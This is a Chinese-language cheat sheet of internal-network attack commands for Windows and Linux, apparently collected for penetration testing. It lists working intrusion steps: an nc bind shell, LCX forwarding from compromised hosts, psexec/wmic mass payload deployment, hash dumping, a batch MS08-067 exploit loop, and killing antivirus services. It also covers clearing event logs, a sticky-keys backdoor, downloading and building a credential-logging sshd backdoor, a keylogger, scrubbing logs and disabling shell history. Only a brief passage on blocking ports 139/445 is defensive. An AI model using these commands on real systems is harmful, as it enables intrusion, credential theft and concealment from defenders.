内网测试--基础命令

    • 评估对业务有影响的攻击,禁止使用
    • 快速定位:分析局部网络
      • 查看机器本地网络:net view /domain
      • 网络追踪:tracert,traceroute,nslookup,dig
      • 查看路由信息:arp -a,route -n
      • 查看本地网络和hosts:ipconfig,ifconfig, cat /etc/hosts,cat .bash_history,mstsc
      • 查看浏览器历史,子域名爆破
      • 网络连接查看:netstat -an
    • 探测存活:分析可用漏洞
      • 使用工具:nmap, hscan, py脚本,x-scan,流光 ...
      • 扫描文件共享,开放端口,操作系统,SNMP ...
    • 测试弱点
      • 弱口令,空口令:可以使用工具进行秘密组合
      • 常见系统端口对应的漏洞,web架构漏洞等; windows安全网站:远程命令执行[ms17-010], ie漏洞,apache tomcat 漏洞,cms漏洞等;工具:nessus, msf, openvas
      • 中间嗅探:cain,ettercap,ssl
      • 钓鱼: 常用漏洞的工具: office, flash;方法:中间人挟持然后替换网站挂载恶意工具;邮件发送;
    • 后阶段
      • 提权
      • 免杀
      • 远控
      • 后门
      • 密码获取
      • 密码组合扫描
      • 信息采集
    • 报告阶段
    • 常用命令
      • windows
        利用网络邻居看下网络机器分布
        tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
        tracert 跟踪网络
        arp -a 获取与本机通讯的机器列表
        nslookup 
        135端口入侵 工具Recton v2.5
        at \\10.10.53.214 1:1 cmd.exe /c "c:\1.exe >>1.txt" 
        循环执行文件:
        for /f %i in (1.txt) do durup.py %i user pass
        查看网址和权限
        ipconfig
        whoami
        sc query 
        查看域环境
        net user /domain
        查看3389
        tasklist /svc | find "TermService"
        netstat -an |find "上面命令获取的id"
        查看系统信息
        systeminfo
        查看管理员是否在线
        query user
        finger username @host 查看最近有哪些用户登陆 
        logoff ID号  踢掉
        C:\RECYCLER\Chu.exe "logoff 1"  
        NC反弹:
        路径\nc.exe -l -p 端口 -t -e 路径\cmd.exe
        c:\RECYCLER\nc.exe -l -p 1234 -t -e c:\RECYCLER\cmd.exe
        NC上传:
        NC -vv www.baidu.com 80<1.txt
        -vv: 回显
        80: www端口
        1.txt: 就是你要发送的数据包
        LCX端口转发
        先本地监听51端口 lcx.exe -listen 51 3389
        c:\recycler\lcx.exe -slave 自己的ip 51 肉鸡IP 3389    LCX转发
        c:\recycler\lcx.exe -slave 222.222.222.222 51 111.111.111.111 3389
        进入后一般命令和DOS 一样,添加用户的时候
        ftp>quote site exec net.exe user hk pass /add
        ftp>quote site exec net.exe localgroup administrators hk/add
        net group "domain admins" /domain
        3.常用命令
        net view
        查看同一域/工作组的计算机列表
        net view /domain
        查看域/工作组列表
        net view /domain:Secwing
        查看Secwing域中 计算机列表
        net group /domain
        查看所在域的组
        net user /domain
        查看所在域用户
        net user /domain zerosoul 12345678
        修改域用户密码,需要域管理员权限,或者Ctrl+Alt+Del点击修改则不需要域管理员权限
        net localgroup administrators SECWING\zerosoul /add
        域Users组用户添加到本地Administrators组,需要本地管理员或域管理员在本机登陆域后进行
        wmic useraccount where name="USERNAME" get sid
        下面的命令 只能用于 域控制器:
        net group "Domain controllers"
        查看域控制器(如果有多台)
        net group
        查看域的组
        net group "domain admins"
        查看域管理员
        net group "domain users"
        查看域管理员
        PS:打开配置域控制器向导的命令
        dcpromo
        psexec /accepteula 绕过第一次验证窗口
        mstsc/admin 解决hash无法抓出问题
        java reDuhClient fdc1.cnhan.com http 80 /admin/reduh.aspx reduh连接命令
        [createTunnel]1234:127.0.0.1:3389 端口转向命令
        iam-alt -h user-hash 这样hash就被注入了
        whosthere-alt.exe 来查看是否被注入成功。
        PsExec.exe -s -u administrator -p administrator \\10.10.1.36 -c c:\wce.exe
        kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)  
        net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 
        net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: 
        net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数 
        net time \\目标ip 查看对方时间
        net logoff 断开连接的共享 
        nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 
        at id号 开启已注册的某个计划任务 
        at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 
        at id号 /delete 停止某个已注册的计划任务 
        at 查看所有的计划任务 
        at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 
        wmic /node:172.16.19.96 /user:ABIMAQ\Administrator /password:k78m90 process call create c:\kav\2009.exe
        psexec.exe -s -u administrator -p k78m90 \\172.16.16.2 -c c:\kav\2009.exe 拷贝文件并且执行
        psexec.exe -s -u administrator -p km3h7i \\172.16.16.2 -c c:\kav\gsecdump.exe -u 抓取hash
        net use \\172.16.16.2\IPC$ "k78m90" /user:"admintitrator"
        net use \\172.16.16.2\IPC$ "k78m90" /user:"aABIMAQ\Administrator"
        net time \\172.16.16.2
        at \\172.16.16.2 13:50 2009.exea
        copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下 
        copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 
        findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 
        del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
        压缩文件命令:
        "c:\Program Files\WinRAR\Rar.exe" a -k -r -s -m1 d:\web.rar d:\web\
        解压文件命令:
        "c:\Program Files\WinRAR\Rar.exe" x -t -o-p d:\web.rar d:\web\
        批量种马:(bat)
        psexec.exe @pc.txt -u ABIMAQ\Administrator -p k78m90 -c c:\kav\2009.exe
        -c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
        要远程执行程序,还可以通过wmic命令的,如:wmic /node:172.16.19.96 /user:ABIMAQ\Administrator /password:k78m90 process call create c:\kav\2009.exe
        -------------------------------------  日志  -------------------------------------
        看SECURITY日志的详细信息:
        C:\Windows\system32>wevtutil gl security
        name: security
        enabled: true
        type: Admin
        owningPublisher:
        isolation: Custom
        channelAccess: O:BAG:SYD:(A;;0xf0005;;;SY)(A;;0×5;;;BA)(A;;0×1;;;S-1-5-32-573)
        logging:
          logFileName: %SystemRoot%\System32\Winevt\Logs\security.evtx
          retention: false
          autoBackup: false
          maxSize: 20971520
        publishing:
          fileMax: 1
        清空SECURITY/SYSTEM/APPLICATION日志:
        C:\Windows\system32>wevtutil cl security
        C:\Windows\system32>wevtutil cl system
        C:\Windows\system32>wevtutil cl application
        安全日志文件:C:\WINDOWS\system32\config\SecEvent.Evt
        系统日志文件:C:\WINDOWS\system32\config\SysEvent.Evt
        应用程序日志文件:C:\WINDOWS\system32\config\AppEvent.Evt
        FTP日志默认位置:C:\WINDOWS\system32\Logfiles\MSFTPSVC1
        WWW日志默认位置:C:\WINDOWS\system32\Logfiles\W3SVC1
        -------------------------------------  服务  -------------------------------------
        IIS服务命令: 
        iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) 
        iisreset /start或stop 启动(停止)所有Internet服务 
        iisreset /restart 停止然后重新启动所有Internet服务 
        iisreset /status 显示所有Internet服务状态 
        iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 
        iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 
        iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 
        iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 
        ftp的命令行格式为: 
        ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。 
        -d 使用调试方式。 
        -n 限制ftp的自动登录,即不使用.netrc文件。 
        -g 取消全局文件名。 
        help [命令] 或 ?[命令] 查看命令说明 
        bye 或 quit 终止主机FTP进程,并退出FTP管理方式. 
        pwd 列出当前远端主机目录 
        put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 
        get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 
        mget [remote-files] 从远端主机接收一批文件至本地主机 
        mput local-files 将本地主机中一批文件传送至远端主机 
        dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 
        ascii 设定以ASCII方式传送文件(缺省值) 
        bin 或 image 设定以二进制方式传送文件 
        bell 每完成一次文件传送,报警提示 
        cdup 返回上一级目录 
        close 中断与远程服务器的ftp会话(与open对应) 
        open host[port] 建立指定ftp服务器连接,可指定连接端口 
        delete 删除远端主机中的文件 
        mdelete [remote-files] 删除一批文件 
        mkdir directory-name 在远端主机中建立目录 
        rename [from] [to] 改变远端主机中的文件名 
        rmdir directory-name 删除远端主机中的目录 
        status 显示当前FTP的状态 
        system 显示远端主机系统类型 
        user user-name [password] [account] 重新以别的用户名登录远端主机 
        open host [port] 重新建立一个新的连接 
        prompt 交互提示模式 
        macdef 定义宏命令 
        lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 
        chmod 改变远端主机的文件权限 
        case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 
        cd remote-dir 进入远程主机目录 
        cdup 进入远程主机目录的父目录 
        ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip 
        查询终端端口:
        REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
        关闭杀软:
        处理变态诺顿企业版:
        net stop "Symantec AntiVirus" /y 
        net stop "Symantec AntiVirus Definition Watcher" /y 
        net stop "Symantec Event Manager" /y 
        net stop "System Event Notification" /y 
        net stop "Symantec Settings Manager" /y 
        关闭麦咖啡:
        net stop "McAfee McShield" 
        Symantec病毒日志:
        C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Logs 
        Symantec病毒备份:
        C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Quarantine 
        Nod32病毒备份:
        C:\Docume~1\Administrator\Local Settings\Application Data\ESET\ESET NOD32 Antivirus\Quarantine 
        5次SHIFT,沾滞键后门:
        copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe 
        copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y 
        copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y 
        MSSQL查询分析器连接记录清除:
        HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
        MSSQL 2005 是在:
        C:\Documents and Settings\\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
        CMD 下操作 VPN 相关知识、资料:
        #允许administrator拨入该VPN
        netsh ras set user administrator permit
        #禁止administrator拨入该VPN
        netsh ras set user administrator deny
        #查看哪些用户可以拨入VPN
        netsh ras show user
        #查看VPN分配IP的方式
        netsh ras ip show config
        #使用地址池的方式分配IP
        netsh ras ip set addrassign method = pool
        #地址池的范围是从192.168.3.1到192.168.3.254:
        netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254
        遍历磁盘文件:
        dir /b /s /a D:\
        批量导出域用户:
        ldifde -f c:\exportuser.ldf -s 服务器 -d "dc=域,dc=com" -p subtree -r "(&(objectCategory=person)(objectClass=User)(givenname=*))" -l "cn,givenName,objectclass,samAccountName"
        csvde –f users.csv –d "ou=Users,dc=contoso,dc=com" –r "(&(objectcategory=person)(objectclass=user))" –l DN,objectClass,description 
        dsquery user ou=XXX,dc=XXX,dc=com  |  dsget user -email -tel  >c:\account.xls  
        dsquery user “ou=跨国事业(二级OU)群,ou=Object Dsgrd(一级OU),dc=dsgrd(Domain name),dc=com”-limit 100000 |  dsget user -email -tel -office -display  -desc -mobile -title -dept -company>c:\account.xls  
        Dsget
        显示目录中特定对象的的选定属性。dsget 命令包括:
        dsget computer
        dsget contact
        显示目录中联系人的各种属性。
        语法
        dsget contact ContactDN ...[-dn] [-fn] [-mi] [-ln] [-display] [-desc] [-office] [-tel] [-email] [-hometel] [-pager] [-mobile] [-fax] [-iptel] [-title] [-dept] [-company] [{-s Server | -d Domain}] [-u UserName] [-p {Password | *}] [-c] [-q] [-l] [{-uc | -uco | -uci}]
        参数
        ContactDN ...
        必需。指定要查看的联系人对象的可分辨名称。如果省略此参数,则将从标准输入 (stdin) 得到其值,以支持将另一个命令的输出以管道的形式输入到该命令。
        -dn
        显示联系人的可分辨名称。
        -fn
        显示联系人的名字。
        -mi
        显示联系人的中间名首字母。
        -ln
        显示联系人的姓氏。
        -display
        指定联系人的显示名。
        -desc
        指定联系人的描述。
        -office
        指定联系人的办公室位置。
        -tel
        指定联系人的电话号码。
        -email
        显示联系人的电子邮件地址。
        -hometel
        显示联系人的家庭电话号码。
        -pager
        显示联系人的寻呼机号码。
        -mobile
        显示联系人的移动电话号码。
        -fax
        显示联系人的传真号码。
        -iptel
        显示联系人的 IP 电话号码。
        -title
        指定联系人的称谓。
        -dept
        指定联系人的部门。
        -company
        显示联系人的公司信息。
        {-s Server | -d Domain}
        连接到指定的远程服务器或域。默认情况下,计算机与登录域中的域控制器相连接。
        -u UserName
        指定用户要用于登录到远程服务器的用户名。默认情况下,-u 使用用户登录时的用户名。可使用下列任一格式指定用户名:
        用户名(例如,Linda)
        域用户名(例如,widgetsLinda)
        用户主体名称 (UPN)(例如,Linda@widgets.microsoft.com)
        -p {Password | *}
        指定使用密码或 * 登录到远程服务器。如果键入 *,将提示您输入密码。
        -c
        指定多个目标对象时,系统会报告错误但仍继续处理参数列表中的下一个对象(持续操作模式)。没有该选项,命令会在第一次出错时退出。
        -q
        将所有输出降低为标准输出(安静模式)。
        -l
        以列表格式显示项。默认情况下,项以表格形式显示。
        {-uc | -uco | -uci}
        指定以 Unicode 格式输出或输入数据。下表列出并描述了每一种格式。
        值 描述
        -uc 指定 Unicode 格式用于从管道 (|) 输入或输出到管道 (|)
        -uco 指定 Unicode 格式用于输出到管道 (|) 或文件。
        -uci 指定 Unicode 格式用于从管道 (|) 或文件输入。
        /?
        在命令提示符下显示帮助。
        于是想尝试一下ms08067对其他机器进行溢出,上传S扫描器上去,扫描开放445端口的机器
        s.exe tcp 172.16.16.2 172.16.16.254 445 512 /save
        整理IP后用批处理溢出:(bat)
        @echo off
        @for /f %%a in (445.txt) do (MS08-067.exe %%a | find "Send Payload Over!"&&echo %%a>>yichu.txt)
        exit
        查看域下面的主机:
        @echo off
        setlocal ENABLEDELAYEDEXPANSION
        @FOR /F "usebackq   delims=, " %%J IN (`net view /domain ^|find "命令執行成功" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (
        @echo =====domain:%%J========
        @FOR /F "usebackq eol=;   delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) DO (
        @FOR /F "usebackq eol=; tokens=1,2,3* delims=\\" %%a in (`echo %%i`) do (
        @FOR /F "tokens=1,2,3,4* usebackq delims=: " %%K IN (`@ping -a -n 1 -w 100 %%a ^|findstr "Pinging"`) do (
        @echo \\%%L      %%M
        )
        )
        )
        )
        echo %0
        批量扫描在线IP:(bat)
        @echo off
        set "ip=172.16.18"
        @for /l %%a in (1,1,254) do (ping -n 1 -w 1 %ip%.%%a |find "Reply from" >> scan.txt)
        set "ip=172.16.19"
        @for /l %%a in (1,1,254) do (ping -n 1 -w 1 %ip%.%%a |find "Reply from" >> scan.txt)
        set "ip=172.16.20"
        @for /l %%a in (1,1,254) do (ping -n 1 -w 1 %ip%.%%a |find "Reply from" >> scan.txt)
        exit
        防御:屏蔽 139 , 445 端口 
        由于没有以上两个端口的支持,是无法建立 ipc$ 的,因此屏蔽 139 , 445 端口同样可以阻止 ipc$ 入侵。 
        1 ) 139 端口可以通过禁止 NBT 来屏蔽 
        本地连接- TCP/IT 属性-高级- WINS -选‘禁用 TCP/IT 上的 NETBIOS '一项 
        2 ) 445 端口可以通过修改注册表来屏蔽 
        添加一个键值 
        Hive: HKEY_LOCAL_MACHINE 
        Key: System\Controlset\Services\NetBT\Parameters 
        Name: SMBDeviceEnabled 
        Type: REG_DWORD 
        value: 0 
        修改完后重启机器 
        注意:如果屏蔽掉了以上两个端口,你将无法用 ipc$ 入侵别人。 
        nmap命令:
        auth: 负责处理鉴权证书(绕开鉴权)的脚本  
        broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务  
        brute: 提供暴力破解方式,针对常见的应用如http/snmp等  
        default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力  
        discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等  
        dos: 用于进行拒绝服务攻击  
        exploit: 利用已知的漏洞入侵系统  
        external: 利用第三方的数据库或资源,例如进行whois解析  
        fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽  
        malware: 探测目标机是否感染了病毒、开启了后门等信息  
        safe: 此类与intrusive相反,属于安全性脚本  
        version: 负责增强服务与版本扫描(Version Detection)功能的脚本  
        vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
        nmap --script vuln 192.268.1.0/24
        nmap --script smb-* 192.268.1.0/24
        nmap --script all ip​
        nmap --script sP 192.268.1.0/24         扫描存活
        nmap -iL url.txt
        nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_output.xml 172.16.0.0/16
        ​--script-updatedb 更新脚本数据库
        访问的文章审核中... - FreeBuf网络安全行业门户
        ​​
        获取域控:
        其实就是说,域服务器,允许你空会话连接,然后列举账户信息,然后在破解账户,LINUX下用enum4linux.pl遍历用户,用medusa破解帐号,用winexec连接执行命令.WIN下的话
        #enum4linux.pl -u Legolas -p orcs -w MIRKWOOD -a 192.168.1.90 >> enum-192.168.1.90
        #cat enum-192.168.1.90 
        -----------------------------------------------------------------------------------------------------------------------
        Starting enum4linux v0.8.7 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Sep 10 10:15:14 2013
        ========================== 
        | Target Information | 
        ========================== 
        Target ........... 192.168.1.90 
        RID Range ........ 500-550,1000-1050 
        Username ......... '' 
        Password ......... '' 
        Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
        =================================================== 
        | Enumerating Workgroup/Domain on 192.168.1.90 | 
        =================================================== 
        [+] Got domain/workgroup name: MIRKWOOD
        =========================================== 
        | Nbtstat Information for 192.168.1.90 |
        =========================================== 
        Looking up status of 192.168.1.90 
        MODOR <00> - M Workstation Service 
        MIRKWOOD <00> - M Domain/Workgroup Name 
        MIRKWOOD <1c> - M Domain Controllers 
        MORDOR <20> - M File Server Service
        MAC Address = B5-AD-2F-37-2G-4F
        ==================================== 
        | Session Check on 192.168.1.90 | 
        ==================================== 
        [+] Server 192.168.1.90 allows sessions using username '', password '' 
        …snip…
        ============================ 
        | Users on 192.168.1.90 | 
        ============================ 
        index: 0x2b76 RID: 0xd08 acb: 0x00000610 Account: Administrator Name: Administrator Desc: (null) 
        index: 0x1822 RID: 0xb0a acb: 0x00000414 Account: Frodo Name: Frodo Baggins Desc: (null) 
        index: 0x1bga RID: 0xc0a acb: 0x00080210 Account: Samwise Name: Samwise Gamgee User Desc: (null) 
        index: 0x1dc4 RID: 0xc7a acb: 0x00050210 Account: Stryder Name: Aragorn User Desc: (null) 
        index: 0x1823 RID: 0xb0b acb: 0x00007014 Account: Legolas Name: Legolas Greenleaf Desc: (null) 
        index: 0x1824 RID: 0xb0c acb: 0x00010014 Account: Gimli Name: Gimli son of Glóin Desc: (null) 
        index: 0x1825 RID: 0xb0d acb: 0x00300014 Account: Boromir Name: Boromir son of Denethor II Desc: (null) 
        index: 0x126f RID: 0x9eb acb: 0x00004014 Account: Gandalf Name: Gandalf the Gray Desc: (null) 
        index: 0x1826 RID: 0xb0e acb: 0x00020015 Account: gollum Name: gollum Desc: (null) 
        …snip…
        -----------------------------------------------------------------------------------------------------------------------
        # cat enum-192.168.1.90 .txt | grep "Domain Admins" 
        -----------------------------------------------------------------------------------------------------------------------
        Group 'Administrators' (RID: 544) has member: MIRKWOOD\Domain Admins 
        Group:[Domain Admins] rid:[0x200] 
        Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Gandalf 
        Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Stryder 
        Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Administrator 
        Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \gollum 
        Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Saruman 
        S-1-5-21-8675309254-522963170-1866889882-512 MIRKWOOD \Domain Admins (Domain Group) 
        S-1-5-21-1897573695-8675309227-1212564242-512 MORDOR\Domain Admins (Domain Group)
        -----------------------------------------------------------------------------------------------------------------------
        # medusa -M smbnt -H smb -u gollum -p gollum -m GROUP:DOMAIN | tee smb-gollum.medusa
        -----------------------------------------------------------------------------------------------------------------------
        ACCOUNT CHECK: [smbnt] Host: 192.168.1.1 (1 of 62, 0 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) 
        ACCOUNT FOUND: [smbnt] Host: 192.168.1.1 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)] 
        ACCOUNT CHECK: [smbnt] Host: 192.168.1.100 (2 of 62, 1 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) 
        ACCOUNT FOUND: [smbnt] Host: 192.168.1.100 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)] 
        ACCOUNT CHECK: [smbnt] Host: 192.168.1.105 (3 of 62, 2 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) 
        ACCOUNT FOUND: [smbnt] Host: 192.168.1.105 User: gollum Password: gollum [SUCCESS] 
        ACCOUNT CHECK: [smbnt] Host: 192.168.1.106 (4 of 62, 3 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) 
        ACCOUNT FOUND: [smbnt] Host: 192.168.1.106 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)] 
        ACCOUNT CHECK: [smbnt] Host: 192.168.1.107 (5 of 62, 4 complete) User: ssadmin (1 of 1, 0 complete) Password: gollum (1 of 1 complete) 
        ACCOUNT FOUND: [smbnt] Host: 192.168.1.107 User: gollum Password: gollum [SUCCESS] 
        ACCOUNT CHECK: [smbnt] Host: 192.168.1.11 (7 of 62, 6 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) 
        ACCOUNT FOUND: [smbnt] Host: 192.168.1.11 User: gollum Password: gollum [SUCCESS] 
        …snip…
        -----------------------------------------------------------------------------------------------------------------------
        #winexe-PTH -U MIRKWOOD\\gollum%gollum --uninstall --system //192.168.1.106 cmd.exe
        -----------------------------------------------------------------------------------------------------------------------
        Microsoft Windows [Version 5.2.3790] 
        (C) Copyright 1985-2003 Microsoft Corp. 
        C:\ WINDOWS\system32>whoami 
        whoami MIRKWOOD\gollum
        C:\WINDOWS\system32>> net user twadmin $piD3rsRul3! /add /domain 
        The request will be processed at a domain controller for domain MIRKWOOD.
        The command completed successfully.
        C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain 
        The request will be processed at a domain controller for domain MIRKWOOD.
        The command completed successfully.
        ​​​
      • linux
        tar -zcvf - /var/tmp/upe.tar.gz|openssl des3 -salt -k helloworl_fuCk_hK | dd of=upe.des3
        密码是helloworl_fuCk_hK
        解压: dd if=update.des3 |openssl des3 -d -k helloworl_fuCk_hK |tar zxf -
        1.静止命令记录:
        没定义环境变量的时候:
        自动添加:PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/opt/informix/bin:/root/bin 
        HISTFILESIZE=0;HISTFILE=0;HISTSIZE=0;
        cat > ~/.mysql_history 
        host
        domainname
        cat /home/root/.bash_history
        SCP 基本用法是:
        如下命令将本地文件happy.jpg拷贝到服务器169.254.235.235上的/home/czk/下,登录用户是czk:
        scp happy.jpg czk@169.254.235.235:/home/czk/
        如下命令将服务器169.254.235.235上的/home/czk/happy.jpg文件拷贝到本地的/home/czk目录下:
        scp czk@169.254.235.235:/home/czk/happy.jpg /home/czk
        在windows下,可以使用pscp程序进行scp协议文件传输:
        pscp mplayerc.exe  czk@169.254.235.235:/home/czk/
        -----------------------------------------------------------------------
        2.安装yum环境:
        tar xvf yum-3.2.28.tar.gz
        cd yum-3.2.28
        ./yummain.py install yum
        yum check-update
        yum update
        yum clean all
        1、首先到http://mirrors.163.com/centos/6/os/i386/Packages/下 载软件包,需要下载的软件包有:
              a、python-iniparse-***.rpm
              b、yum-metadate-parser-***.rpm
              c、yum-***.rpm
              d、yum-plugin-***.rpm
              注:“ * ”代表版本号,可以不用最新版本
        2、卸载RedHat自带 yum:
              rpm -qa | grep yum | xargs rpm -e --nodeps
              注:a、 xargs是一条Unix和类Unix操作系统的常用命令。它的作用 是将参数列表转换成小块分段传递给其他命令,以避免参数列表过长的问题
                     b、--nodeps  强制卸载,不管依赖性
        3、安装下载的centos的yum包:
              a、rpm -ivh python-iniparse-***rpm
              b、rpm -ivh yum-metadate-parser-***.rpm
              c、rpm -ivh yum-***.rpm yum-plugin-***.rpm
              注:yum-***.rpm和yum-plugin-***.rpm需要一起安装,否则会出现依赖性
        4、到http://mirrors.163.com的 centos帮助文档 中下载CentOS6-Base-163.repo文件,存放到/etc/yum.repo.d中
        5、编辑 CentOS6-Base-163.repo文件,将其中的$releasever更改为centos的版本号
        6、yum clean all 清除原有缓存
        7、yum makecache  获取yum列表
        yum -y install gcc
        yum -y install gcc-c++
        yum install make
        -- 或者
        yum groupinstall "Development Tools"
        -- 或者
        yum install gcc gcc-c++ kernel-devel
        -----------------------------------------------------------------------
        3.安装sshd后门:
        1》、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
        2》、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
        3》、下载并安装ssh后门:
          shell-# wget http://192.168.1.188/sshbd.tgz
          shell-# tar zxvf sshbd.tgz
          shell-# cd openssh
        4》、设置ssh后门的登录密码:
          vi versio.h
          #define SSH_VERSION “OpenSSH_4.2″ –> you’ve to edit OpenSSH_4.2
          vi includes.h
          define _SECRET_PASSWD “test123″ -> edit as u wish password
            +#define ILOG "/tmp/ilog"                      //记录登录到本机的用户名和密码
            +#define OLOG "/tmp/olog"                   //记录本机登录到远程的用户名和密码
            +#define SECRETPW "123456654321"    //你后门的密码
        5》、继续安装:
          shell-# ./configure –-prefix=/usr –-sysconfdir=/etc/ssh
            如果出现错误安装这两个
            shell-# yum install -y zlib zlib-devel 
            shell-# yum install -y openssl openssl-devel pam-devel
          shell-# make && make install
          shell-# cp ssh_config sshd_config /etc/ssh/
          touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
          touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config
          shell-# /etc/init.d/sshd restart
           清日志
          sed -i ‘/210.73.64.100/d’ access_log* /var/log/secure 
        6》.安装键盘记录器
        安装:
        wget http://logkeys.googlecode.com/files/logkeys-0.1.1a.tar.gz
        tar -xf logkeys-0.1.1aw
        cd logkeys-0.1.1aw
        ./configure
        make
        make check
        make install
         使用:
        logkeys -s -u -o log.txt
        生成的记录文件在目录下的log.txt文本中。
        su root测试
        -----------------------------------------------------------------------
        4.端口反弹:
        1》.本机  lcx -m 2 -p1 3333  -p2 3389
        2》.肉鸡  lcx  -m 3 -h1 116.228.111.18 -p1 3333 -h2 127.0.0.1 -p2 3389
        3》.在任何有网的地方包括自己主机都可以用 3389连接器 连接 116.228.111.18:3389即可。
        其他服务同理,如 80 22 21 1433.
        lcx.c
        nc
        back.py
        -----------------------------------------------------------------------
        5.获取位置信息:
        查看ssh的信任关系和mount挂载情况和历史命令
        root@pc: ls -l .ssh/
        root@pc: mount
        root@pc: cat .bash_history
        安装nmap猥琐扫描
        yum install nmap 
        nmap -sS -O -p1-10000 192.168.1.0/24
        nmap -T1 -sS -p1-10000 192.168.1.0/24
        nmap -T1 -sC -sS -A 192.168.1.0/24
        不挂断的运行命令nohup
        后台运行&
        tracertroute 目标ip
        ping 网关
        -----------------------------------------------------------------------
        6.嗅探ettercap8的版本可以直接嗅探https
        快捷安装:
        备份yum源,然后上传我制作好的本地yum源
        然后执行yum clean all;yum list
        yum install ettercap
        就可以安装完成
        ---------------------------------------------------------------------------
        查看是否安装这些软件:rpm -qv  libpcap  libnet  libpthread  zlib 
        yum search ettercap
        1..libnet-1.1.2.1.tar.gz
        先安装flex,m4,bison几个包
        2.libpcap-1.0.0.tar.gz
        #libgtk2.0-dev
        3.更新gtk2: 
                yum install -y curl-devel gtk2-devel boost-devel
        yum install -y libtool-ltdl-devel openssl-devel
        4.ettercap-NG-0.7.3.tar.gz
        make uninstall
        Install
        The easiest way:
        $ mkdir build
        $ cd build
        $ cmake ../
        $ make
        $ make install
        If the build fails because you're missing a dependency:# B2 B/ Z2 n/ U( u8 C
        $ (Install any missing dependencies.)8 j7 u4 e$ z0 `
        $ make clean-all
        $ cmake ../
        $ make
        $ make install
        -----------------------------------------------------------------------------------------
        unzip sslstrip.zip
        python serup.py install
        echo "1">/proc/sys/net/ipv4/ip_forward
